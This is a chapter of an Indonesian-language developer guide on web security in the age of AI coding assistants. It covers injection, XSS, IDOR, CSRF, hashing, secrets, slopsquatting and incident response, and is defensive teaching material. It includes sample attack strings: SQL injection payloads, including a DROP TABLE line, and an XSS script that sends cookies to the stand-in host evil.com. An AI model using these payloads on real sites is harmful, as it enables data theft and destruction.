05 — Security

← Docker | Index | Lanjut: Checklist →

---

Bagian paling penting untuk era AI. AI coding assistant sering menghasilkan kode yang berfungsi tapi tidak aman, karena ia meniru pola dari internet — termasuk pola yang buruk. Beberapa studi menemukan porsi signifikan kode hasil AI mengandung kerentanan ketika prompt-nya tidak menyebut keamanan secara eksplisit. Keamanan tidak datang gratis dari AI — harus diminta dan diverifikasi.

5.1 Prinsip Dasar

1. Never trust user input. Semua input dari luar (form, URL, header, cookie, file upload, bahkan response API pihak ketiga) dianggap berbahaya sampai divalidasi.
2. Least privilege. Setiap user/service/API key hanya diberi akses seminimal yang dibutuhkan. Kalau bocor, kerusakannya terbatas.
3. Defense in depth. Keamanan berlapis — validasi di frontend DAN backend DAN database; jangan andalkan satu tembok.
4. Jangan buat sistem crypto/auth sendiri. Pakai library & standar yang sudah teruji bertahun-tahun oleh komunitas.
5. Keamanan adalah proses, bukan fitur. Dependency menua, teknik serangan berkembang — perlu perawatan rutin.

Peta ancaman: OWASP Top 10

OWASP Top 10 = daftar kerentanan aplikasi web paling kritis, dirawat komunitas keamanan dunia dan diperbarui berkala. Materi bab ini mencakup yang paling relevan sehari-hari: injection (§5.2), XSS (§5.3), broken access control (§5.4), CSRF (§5.5), kegagalan autentikasi & kriptografi (§5.6), misconfiguration (§5.8), dan kerentanan komponen/supply chain (§5.9–5.10).

5.2 SQL Injection — Serangan Klasik yang Tak Kunjung Mati

Terjadi saat input user digabung langsung ke query SQL:

// ❌ BERBAHAYA — input user masuk mentah ke query
$query = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";

// Penyerang mengisi email dengan:   ' OR '1'='1
// Query menjadi: SELECT * FROM users WHERE email = '' OR '1'='1'
// → mengembalikan SEMUA user!

// Lebih parah — input:   '; DROP TABLE users; --
// → tabel users DIHAPUS

// ✅ AMAN — prepared statement / parameterized query
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$email]);
// Nilai dikirim TERPISAH dari query → database tidak pernah
// menafsirkan input sebagai perintah

📌 Aturan sederhana: input user tidak boleh pernah di-concat/di-interpolasi langsung ke string SQL. Titik.

Catatan untuk pengguna framework: ORM (Eloquent, Prisma, dsb.) aman secara default — tapi pintu bahayanya tetap terbuka lewat raw query:

// ❌ Tetap injection walau "pakai Laravel"
DB::select("SELECT * FROM users WHERE email = '$email'");

// ✅ Raw query yang benar: tetap parameterized
DB::select("SELECT * FROM users WHERE email = ?", [$email]);

Prinsip yang sama berlaku untuk injection lain: command injection (input user masuk ke perintah shell) dan NoSQL injection. Polanya selalu: data user diperlakukan sebagai perintah, bukan nilai.

5.3 XSS (Cross-Site Scripting)

Penyerang menyisipkan JavaScript ke halaman yang dilihat user lain — misalnya lewat kolom komentar:

<!-- Penyerang menulis "komentar": -->
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

Jika ditampilkan mentah, script berjalan di browser semua pengunjung → cookie/session dicuri, aksi dilakukan atas nama korban, halaman dipalsukan.

Pencegahan utama — escape output: ubah karakter spesial jadi teks biasa saat menampilkan data user (< → <), sehingga browser menampilkannya sebagai tulisan, bukan menjalankannya.

Template engine modern sudah escape otomatis — bahaya justru muncul di "pintu keluar darurat" yang mem-bypass proteksi:

Framework	✅ Aman (auto-escape)	⚠️ Pintu bahaya
Laravel Blade	{{ $comment }}	{!! $comment !!}
React/JSX	{comment}	dangerouslySetInnerHTML
Vue	{{ comment }}	v-html
Vanilla JS	element.textContent	element.innerHTML

⚠️ Red flag: setiap kemunculan {!! !!}, dangerouslySetInnerHTML, v-html, atau innerHTML di kode AI wajib dipertanyakan: "apakah data ini bisa berasal dari user?" Kalau ya — cari cara lain, atau sanitasi dengan library khusus (mis. DOMPurify).

Lapisan tambahan: Content Security Policy (CSP) — header yang membatasi script dari mana saja yang boleh dijalankan browser (lihat §5.8).

5.4 Autentikasi vs Otorisasi (dan IDOR)

• Authentication (AuthN): Siapa kamu? → login.
• Authorization (AuthZ): Boleh apa saja kamu? → hak akses.

Bug keamanan paling umum di kode AI: cek login ada, cek kepemilikan tidak ada — disebut IDOR (Insecure Direct Object Reference):

GET /api/invoices/1001   → invoice milik saya, OK ✅
GET /api/invoices/1002   → invoice milik ORANG LAIN... juga bisa dibuka?! ❌

Penyerang cukup mengganti angka di URL. Kebocoran data besar di dunia nyata berkali-kali terjadi lewat lubang sesederhana ini.

// ❌ Hanya cek login
$invoice = Invoice::findOrFail($id);

// ✅ Cek login DAN kepemilikan
$invoice = Invoice::where('id', $id)
    ->where('user_id', auth()->id())
    ->firstOrFail();                      // bukan milikmu → 404

Dua pola pelengkap:

• RBAC (Role-Based Access Control): hak akses berdasarkan peran — admin, staff, customer. Cek role di setiap endpoint sensitif, di backend (role yang disimpan di frontend/JWT payload bisa dipalsukan tampilannya, keputusan tetap harus diverifikasi server).
• Jangan percaya field tersembunyi: request {"role": "admin"} yang diselipkan user saat register harus diabaikan server (mass assignment protection).

💡 Prompt: "Untuk setiap endpoint di controller ini, sebutkan: siapa yang boleh mengakses, dan di baris mana pengecekan kepemilikan/role dilakukan. Kalau ada endpoint tanpa pengecekan, tandai sebagai temuan."

5.5 CSRF (Cross-Site Request Forgery)

Serangan yang "menunggangi" sesi login korban. Skenario:

1. Anda login ke bank-anda.com (browser menyimpan cookie sesi)
2. Anda membuka situs-jahat.com di tab lain
3. Situs jahat diam-diam men-submit form ke bank-anda.com/transfer
4. Browser OTOMATIS menyertakan cookie sesi Anda → transfer berjalan!

Korban tidak mengklik apa pun yang mencurigakan — cukup membuka halaman jahat sambil masih login di situs target.

Pencegahan: CSRF token — kode acak unik yang disisipkan di setiap form sah dan diverifikasi server. Situs jahat tidak bisa menebaknya. Framework modern menyediakannya built-in (@csrf di Blade); pelengkapnya: cookie dengan atribut SameSite.

Catatan: API murni berbasis Bearer token (bukan cookie) secara alami lebih kebal CSRF — karena token tidak dikirim otomatis oleh browser. Ini salah satu alasan arsitektur token populer.

5.6 Password, Hashing & Secrets

Password

• Jangan pernah simpan password sebagai plain text. Gunakan hashing satu-arah: bcrypt atau argon2.
• Hashing ≠ enkripsi. Enkripsi bisa dibalik (ada kuncinya); hashing tidak bisa. Login bekerja dengan membandingkan hash input vs hash tersimpan — server tidak pernah tahu password aslinya.
• MD5 dan SHA1 BUKAN untuk password — terlalu cepat dihitung = mudah di-brute-force miliaran tebakan per detik. bcrypt/argon2 sengaja dibuat lambat.
• Salt (data acak unik per user, otomatis di bcrypt/argon2) memastikan dua user berpassword sama punya hash berbeda — mematahkan serangan tabel hash siap pakai (rainbow table).

Kebijakan yang sehat: dorong password panjang (passphrase), sediakan 2FA/MFA untuk akun penting, rate-limit percobaan login, dan beri respons login gagal yang seragam ("email atau password salah" — jangan konfirmasi email mana yang terdaftar).

Secrets (API key, DB password, token, private key)

• Simpan di environment variable / secret manager — bukan di kode, bukan di repo.
• .env wajib masuk .gitignore (dan .dockerignore).
• Sekali secret ter-push ke Git, anggap sudah bocor → rotate (ganti) segera. Menghapus commit tidak cukup — riwayat Git, fork, dan mirror menyimpan salinannya. Bot penyerang memindai repository publik untuk credential dalam hitungan menit.
• Beri scope minimal pada setiap key (least privilege): key yang hanya perlu baca, jangan diberi izin tulis.

💡 Kredensial cloud (misal AWS access key) yang bocor bisa berujung tagihan ratusan juta rupiah dalam hitungan hari — dipakai penyerang menambang crypto atau menyewakan resource. Kasus seperti ini hampir selalu berawal dari access key yang ter-commit atau tertempel di tempat publik. Deteksi dini (billing alert, monitoring aktivitas aneh) sama pentingnya dengan pencegahan.

5.7 HTTPS & Keamanan Transport

• HTTP = kartu pos — semua orang di jaringan (termasuk WiFi kafe) bisa membaca isinya.
• HTTPS = surat tersegel — terenkripsi di perjalanan (TLS); juga menjamin Anda benar-benar bicara dengan server yang dituju.
• Production wajib HTTPS tanpa pengecualian — sertifikat gratis via Let's Encrypt, otomatis diperpanjang.
• HSTS (header Strict-Transport-Security): memaksa browser selalu memakai HTTPS untuk domain tersebut.

5.8 Hardening: Konfigurasi & Praktik Pendukung

Praktik	Kenapa
Validasi input di server	Validasi frontend mudah dilewati — cukup panggil API langsung via curl/Postman
Rate limiting	Cegah brute-force login & penyalahgunaan API (429)
CORS ketat	Access-Control-Allow-Origin: * pada API ber-auth = mengundang masalah; whitelist domain spesifik
Security headers	Content-Security-Policy, X-Content-Type-Options: nosniff, X-Frame-Options (anti-clickjacking), HSTS
Error generik ke user	Stack trace/struktur DB di layar publik = peta gratis bagi penyerang; detail cukup di log internal
Matikan mode debug di production	APP_DEBUG=true di production membocorkan env, query, dan path — kesalahan konfigurasi paling umum
Log & monitoring	Tanpa log, insiden tidak terdeteksi & tidak bisa diinvestigasi; log jangan menyimpan password/token
Backup teruji	Pertahanan terakhir terhadap ransomware & human error (lihat bab Database §3.11)

File upload — checklist khusus

Fitur upload adalah pintu favorit penyerang:

• ✅ Whitelist ekstensi & verifikasi tipe konten sebenarnya (magic bytes), bukan cuma nama file — virus.php yang di-rename foto.jpg harus tertangkap.
• ✅ Batasi ukuran file.
• ✅ Ganti nama file dengan random/UUID — nama asli bisa berisi path traversal (../../config.php).
• ✅ Simpan di luar folder yang bisa mengeksekusi kode (idealnya object storage terpisah: S3 dan sejenisnya).

5.9 Risiko Spesifik Vibe Coding

Era AI menambahkan mode kegagalan baru:

1. AI menghasilkan pola lama/tidak aman — MD5 untuk password, string concat di SQL, CORS *, debug mode menyala. AI meniru internet, dan internet penuh contoh buruk.
2. AI "menghalu" package (→ slopsquatting) — AI menyarankan library yang tidak ada; penyerang memantau nama-nama halu populer dan menerbitkan package palsu berisi malware dengan nama itu. Selalu verifikasi package di registry resmi (npm/packagist/pypi): cek umur, jumlah unduhan, dan repository-nya, sebelum install.
3. Secret bocor lewat prompt — jangan tempel API key/password/data pelanggan asli saat bertanya ke AI. Ganti dengan placeholder (<API_KEY>, <DATA_SAMPLE>).
4. Kode terlihat jalan ≠ aman — demo sukses hanya membuktikan happy path. Authorization check, rate limit, dan validasi tidak terlihat di demo.
5. Volume kode naik, review jadi bottleneck — AI menghasilkan kode 10x lebih cepat; tanpa disiplin review, lubang keamanan ikut terkirim 10x lebih cepat.
6. Kepercayaan berlebih — makin sering AI benar, makin jarang kita memeriksa. Justru itu celahnya. Perlakukan output AI seperti kode dari developer baru yang pintar tapi belum kenal sistem Anda: berbakat, cepat, wajib direview.

5.10 Supply Chain: Dependency Anda Adalah Kode Anda

Aplikasi modern = sedikit kode sendiri + ratusan package pihak ketiga. Kerentanan di salah satu package = kerentanan di aplikasi Anda.

• Jalankan audit rutin: npm audit, composer audit — dan perbaiki temuan prioritas tinggi.
• Aktifkan bot pembaruan otomatis (Dependabot/Renovate) di repository.
• Lockfile (package-lock.json, composer.lock) wajib di-commit — menjamin semua orang & server memakai versi persis sama.
• Waspadai package yang minta izin aneh atau punya script instalasi mencurigakan.

5.11 Jika Insiden Terjadi (Dasar-Dasarnya)

Semua orang di tim perlu tahu langkah kasar ini:

1. Jangan panik, jangan hapus jejak — log dan bukti dibutuhkan untuk investigasi.
2. Putus akses — rotate credential yang dicurigai bocor, revoke session/token, isolasi sistem terdampak.
3. Ukur dampak — data apa yang tersentuh, sejak kapan, siapa terdampak.
4. Komunikasi — internal dulu (jalur yang disepakati), lalu eksternal sesuai kewajiban (pelanggan, regulator — di Indonesia: UU PDP mengatur notifikasi kebocoran data pribadi).
5. Post-mortem tanpa menyalahkan — fokus ke proses yang membiarkan celah terjadi, bukan ke individu; perbaiki agar tidak terulang.

5.12 Prompting AI untuk Security

💡 Review menyeluruh: "Review kode ini sebagai security engineer. Cek: SQL/command injection, XSS (termasuk penggunaan innerHTML/dangerouslySetInnerHTML/{!! !!}), IDOR & authorization tiap endpoint, CSRF, secret hardcoded, validasi input, mass assignment, dan konfigurasi berbahaya (debug mode, CORS *). Format temuan: [severity: critical/high/medium/low] — [lokasi] — [masalah] — [perbaikan]."

💡 Sejak awal (lebih baik): tambahkan ke setiap prompt pembuatan fitur — "Terapkan praktik keamanan: parameterized query, escape output, cek kepemilikan data, validasi server-side, dan tidak ada secret di kode."

💡 Verifikasi package: "Sebelum aku install, verifikasi bahwa package [nama] benar-benar ada di [npm/packagist], sebutkan repository resminya, dan apakah masih aktif dirawat."

🧪 Latihan: minta AI membuat form komentar sederhana tanpa menyebut keamanan sama sekali. Lalu jalankan prompt review di atas terhadap hasilnya. Hitung berapa temuan yang muncul — ini demonstrasi paling meyakinkan kenapa bab ini ada.

---

5.13 🧪 TUTORIAL PRAKTIK: Temukan & Perbaiki Lubang Sendiri

Latihan ini paling meyakinkan kalau dikerjakan sungguhan. Estimasi 45 menit. Tujuannya: mengalami sendiri bahwa AI menghasilkan kode tidak aman saat tidak diminta sebaliknya — lalu belajar menutupnya.

Langkah 1 — Sengaja buat kode rawan (10 menit)

Minta AI tanpa menyebut keamanan sama sekali:

💡 "Buat endpoint login sederhana dan endpoint GET /invoices/{id} untuk melihat detail invoice, di [framework Anda]. Buat cepat saja, yang penting jalan."

Simpan hasilnya. Jangan perbaiki dulu.

Langkah 2 — Audit dengan mata Anda sendiri (15 menit)

Sebelum bertanya balik ke AI, cari sendiri pakai daftar berburu ini. Beri tanda di kode:

• [ ] IDOR: apakah GET /invoices/{id} mengecek WHERE user_id = <user login>? Atau siapa pun bisa lihat invoice siapa pun dengan ganti angka?
• [ ] Password: disimpan/dibandingkan sebagai plain text? Pakai MD5/SHA1? Atau bcrypt/argon2?
• [ ] Injection: ada input yang di-concat ke query?
• [ ] Rate limit: endpoint login bisa dicoba tanpa batas?
• [ ] Pesan error: login gagal memberi tahu "email tidak terdaftar" vs "password salah" (membocorkan email mana yang ada)?
• [ ] Secret: ada credential hardcoded?

Catat temuan Anda. Ini melatih mata — skill yang tidak bisa didelegasikan ke AI.

Langkah 3 — Minta AI mengaudit, lalu bandingkan (10 menit)

💡 "Review kode ini sebagai security engineer. Cek: IDOR/authorization, hashing password, injection, rate limiting, information disclosure di pesan error, secret hardcoded. Beri bukti potongan kode untuk tiap temuan."

Bandingkan daftar AI dengan daftar Anda. Biasanya: sebagian besar sama (validasi bahwa mata Anda sudah terlatih), AI menemukan 1–2 yang Anda lewat, Anda mungkin menemukan 1 yang AI lewat. Inilah kenapa dua-duanya diperlukan.

Langkah 4 — Perbaiki & verifikasi ulang (10 menit)

💡 "Perbaiki semua temuan tadi. Untuk IDOR pastikan cek kepemilikan; password pakai bcrypt; login pakai pesan seragam; tambah rate limit. Setelah itu, review ulang hasil perbaikanmu sendiri dan konfirmasi tiap temuan sudah tertutup."

Uji manual perbaikan IDOR: login sebagai user A, coba akses invoice milik user B → harus 404/403, bukan datanya.

Refleksi

Tuliskan satu kalimat: "Di prompt awal saya, hal keamanan apa yang HILANG?" Jawaban Anda adalah template mental untuk semua prompt ke depan — sekarang Anda tahu apa yang harus selalu diminta di depan, bukan ditambal di belakang.

---

Rangkuman Bab

• Jangan percaya input; hak akses seminimal mungkin; keamanan berlapis.
• Injection dicegah dengan parameterized query — tanpa pengecualian, termasuk raw query di ORM.
• XSS dicegah dengan escape output; waspadai pintu bypass (innerHTML dkk.).
• Login (AuthN) ≠ hak akses (AuthZ); IDOR adalah bug AI paling umum — selalu cek kepemilikan data.
• Password: bcrypt/argon2. Secrets: env variable, dan rotate begitu diduga bocor.
• HTTPS wajib; debug mode mati di production; error publik harus generik.
• Risiko era AI: pola tidak aman, package halu (slopsquatting), secret di prompt, dan review yang tertinggal dari kecepatan generate.
• Keamanan harus diminta secara eksplisit di prompt dan diverifikasi lewat review — dua-duanya, selalu.

---

← Docker | Index | Lanjut: Checklist →